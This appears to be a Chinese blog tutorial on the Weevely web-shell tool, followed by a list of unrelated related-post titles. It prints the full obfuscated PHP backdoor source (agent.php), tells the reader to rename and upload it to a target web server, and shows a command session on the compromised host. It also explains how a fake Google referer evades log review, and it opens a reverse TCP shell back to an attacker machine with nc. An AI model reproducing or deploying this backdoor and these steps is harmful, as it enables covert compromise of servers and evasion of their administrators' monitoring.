今天我们介绍的是一个轻量级的Web-Shell工具 - Weevely。Github地址https://github.com/epinna/weevely3。

PHP backdoor agent

我们将使用Weevely来创建一个php代理后门,然后部署在目标服务器上。

运行weevely.py,就将为我们生成一个名为agent.php的代理后门, 设置访问密码确保只有我们可以利用这个后门。

root@secureserver2:~/weevely3-master# ./weevely.py generate abcd123 agent.php--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

以下就是agent.php内容:

<?php
$d='@$r["HTTP_A%CCEPT_L%ANGUAG%E"];%if%($rr&&$%ra){$%u=parse_%url($rr);p%arse_s%tr($u';
$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);$l=strlen($t);$o';
$Y='64_de%code%(preg_replac%e(arra%y("/%_/","/-%/"),ar%ray("/%","+%"),$ss($%';
$O='$i],%$f);%%if($e){$k=$kh.$kf;%ob_%start();@%e%val(%@gzunco%mpr%ess(@x(@b%ase';
$b='%%+(?%:;q%=0.([\\d]))?,%?/",$ra,$m);if(%$q&&$m)%{@sess%ion_st%art();$%s=&$_S%ESSI%O';
$j='s[$i%],0,$e%)%)%),$k)));$o=ob_get_c%onten%t%s();ob%_end_clean()%%;$d=bas%e%6';
$f='N;$ss="%substr%"%%%;$sl="strtolower";$%i=$m[1]%[0].$m%[1]%[1];$h=$%sl%($s';
$u='s(%md5($i.$kh%),0,3));$f%=$sl($s%s(md%5($i.$k%f),0,3%));$%p="";f%or%($z=1;$z<';
$c=str_replace('vs','','cvsrevsate_vsvsfuncvsvstion');
$H='%p%=$ss($p,3);%}if(ar%ray_%k%e%y_exists($i,$%s)){$s[$i].%=%$p%;$e=st%rpos($s[';
$U='4_enco%de(x(%gzcomp%ress($o),$%k));pr%int("<$k>$%d<%/$k>");@ses%sion_%d%estroy();}}}}';
$M='=%"%";for($i%=0;$i%<$l;%){for($j%=0;($j%<$c&&$i<$%l%);$j%+%+,$i+%+){$o.=$t{$i%';
$F='co%unt($%m[1]%);$z+%+)$p.%=$q[$m%[2][$z]];%%if(strpos(%%$p,$h)==%=0){$s[$i]="";$';
$q='%%["q%uery"]%,$q);$q=array_%values%($%q);%preg_match_al%l("/(%[\\w%])[\\w-]';
$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%r=@$r[%"HTTP_REFE%RER"];$ra%%=';
$S=str_replace('%','',$k.$M.$X.$d.$q.$b.$f.$u.$F.$H.$O.$Y.$j.$U);
$P=$c('',$S);$P();
?>

现在,我们将agent.php重命名为ma.php,然后上传到目标web服务器(上传方法可查看之前的文章:https://blog.csdn.net/weixin_40270125/article/details/85711584)。上传成功之后,就可以通过Web-Shell访问服务器。

root@secureserver2:~/weevely3-master# ./weevely.py http://192.168.5.25/ma.php abcd123
--> [+] weevely 3.2.0
[+] Target: www-data@secureserver:/var/www/html
[+] Session: /root/.weevely/sessions/192.168.5.25/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>

当看到 “weevely> ”提示符表示我们已经成功通过web-shell连接到目标服务器,并可以在服务器上执行命令。

weevely> uname -a--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linuxwww-data@secureserver:/var/www/html $

现在我们去查看web服务器的日志,会发现有些奇怪,请求是被编码的,并且显示引用者是谷歌。如果有人要分析恶意活动的日志,这可能会令人困惑,因为谷歌应该是一个合法的引用。

这就是Web-Shell为了避免被检测使用的方法。

192.168.5.26 - - [29/Apr/2016:12:26:25 +0100] "GET /ma.php HTTP/1.1" 200 395 "http://www.google.com.kw/url?sa=t&rct=j&q=168&source=web&cd=841&ved= 7abT6UoqC&url=168.5.25&ei=2rFeZn7kwtSbAWGxjurE6s&usg=r2jjg09LyElMcPniaayqLqluBIVqUGJvYD&sig2=lhXTdE417RZUTOBuIp6DOC" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic)Firefox/3.6.10"

Reverse TCP shell

Weevely还有一个很有趣的功能,我们可以用它来建立反向TCP shell(Reverse TCP shell)。相当于,被感染的Web服务器向我们自己的电脑建立连接而不是我们去连接Web服务器。

比如,我们在自己的电脑上监听8181端口

root@secureserver2:~/# nc -l -v -p 8181--> Listening on [0.0.0.0] (family 0, port 8181)

在已经安装Web-Shell的服务器上执行backdoor_reversetcp, 向我们本地的8181端口发起TCP请求

www-data@secureserver:/var/www/html $ :backdoor_reversetcp 192.168.5.26 8181

一个反向连接的shell建立成功(Web服务器192.168.5.25 → 本地电脑192.168.5.26)

Connection from [192.168.5.25] port 8181 [tcp/*] accepted (family 2, sport 55370)
$ whoami--> www-data

这样我们的操作痕迹就不会被web服务器日志记录,因为通信是通过TCP层(第4层)而不是HTTP层(第7层)进行的。

Web-Shell实战 - Weevely相关推荐

  1. Web安全实战训练营

    介绍 深入分析web安全中最常见的漏洞: XSS. CSRF和文件上传,招聘要求出现概率61%,面试提问概率87%,全部用自己编写的代码复现,讲解发生原因.靶场实战案例.利用工具和防御方法,全方位无死 ...

  2. flask web开发是前端还是后端_Flask Web开发实战:入门、进阶与原理解析 PDF 全格式版...

    给大家带来的一篇关于Flask相关的电子书资源,介绍了关于Flask.Web.开发实战方面的内容,本书是由机械工业出版社出版,格式为PDF,资源大小12.2M,李辉编写,目前豆瓣.亚马逊.当当.京东等 ...

  3. WEB安全实战(带靶场)–暴力破解

    WEB安全实战(带靶场)–暴力破解 靶场一:DVWA中的暴力破解 靶场二:靶场实验 暴力破解 暴力破解百度云链接(失效请在评论区通知) 链接:https://pan.baidu.com/s/1FcNF ...

  4. 《Web 标准实战》——Web开发人员必读的一本书

    <Web 标准实战>--Web开发人员必读的一本书 精彩推荐:图灵4月精彩新书预告 原 书 名:Web Standards Solutions: The Markup and Style ...

  5. 企业Shell实战-MySQL分库分表备份脚本

    本文来自 http://www.xuliangwei.com/xubusi/252.html 免费视频讲解见 http://edu.51cto.com/course/course_id-5064.ht ...

  6. Java RESTful Web Service实战

    编者按: InfoQ开设栏目"品味书香",精选技术书籍的精彩章节,以及分享看完书留下的思考和收获,欢迎大家关注.本文节选自韩陆著<Java RESTful Web Servi ...

  7. 基于.htaccess的Web Shell工具htshells

    基于.htaccess的Web Shell工具htshells .htaccess文件是Apache服务器的配置文件.它负责相关目录下的网页配置.一旦用户获得修改该文件的权限,就可以基于该文件构建Sh ...

  8. 【Web Shell】- 技术剖析中国菜刀 - Part II

    在第一部分,简单描述了中国菜刀的基本功能.本文我将剖析中国菜刀的平台多功能性.传输机制.交互模式和检测.我希望通过我的讲解,您能够根据您的环境检测出并清除它. 平台 那么中国菜刀可以在哪些平台上运行? ...

  9. Web 标准实战的评论

    Web 标准实战 当当上购买 当当网全场免运费!! 关于Web 标准实战 评论 读后感:书不厚,通过实力秀阐述WEB标准,很容易懂,只是内容不多,一天就看完了,不过回味一下,确实收获不少..适合已经初 ...

  10. php mysql八大动态w...,PHP+MySQL八大动态Web应用实战

    PHP+MySQL八大动态Web应用实战 本书详细介绍了利用PHP+MySQL开发常见类型Web应用程序的完整设计和编码技术,并对整体设计与关键代码给予了细致.深入的剖析.其内容注重实践,提供了翔实完 ...

最新文章

  1. 20175310 《Java程序设计》第11周学习总结
  2. Windows下启动,关闭Nginx命令
  3. python刷题+leetcode(第一部分)
  4. Skyline Web 二次开发- 1.地图显示、Position、AttachEvent
  5. nlp gpt论文_开放AI革命性的新NLP模型GPT-3
  6. VC知识库人物专访:搜狗CEO兼任搜狐CTO王小川
  7. 重新编译tensorflow源代码遇见的问题解决方法
  8. linux 中cat用法
  9. 群表示论之Able群的不可约表示
  10. 屏幕适配以及ui切图规范和命名标准
  11. python eof是什么_python eoferror是什么异常
  12. 基数排序——多关键字排序(MSD/LSD)以及链式基数排序
  13. 王道俊教育学第7版笔记和课后答案
  14. 将私人对话发布到公共空间来寻求正义是否可取
  15. 用python做了一个统计排班表
  16. oracle实现列转行
  17. Delphi下的MPS
  18. python实现进制转换器_python实现进制转换(二、八、十六进制;十进制)
  19. 在正确的时间吃正确的水果
  20. Google Earth Engine(GEE)——风向(RTMA: Real-Time Mesoscale Analysis数据集)可视化趋势图(美国区域为例)

热门文章

  1. 导航电子地图内容一览图
  2. emulator: ERROR: x86 emulation currently requires hardware acceleration 启动模拟器异常
  3. decimal类型对象里面定义什么类型_MySQL中Decimal类型和Float Double的区别(详解)
  4. 职位情报局 | 招聘季,什么样的职位最抢手?
  5. 课表 php源码,php+excel通用课表查询系统 v2.2
  6. RNA-seq第四期——HTSeq-count对reads进行计数
  7. 大幅降低ERP维保费的秘密
  8. 比价寄快递v1.0.19
  9. 金融危机,既是危也是机!
  10. 直流电机驱动电路图74HC595N和L293D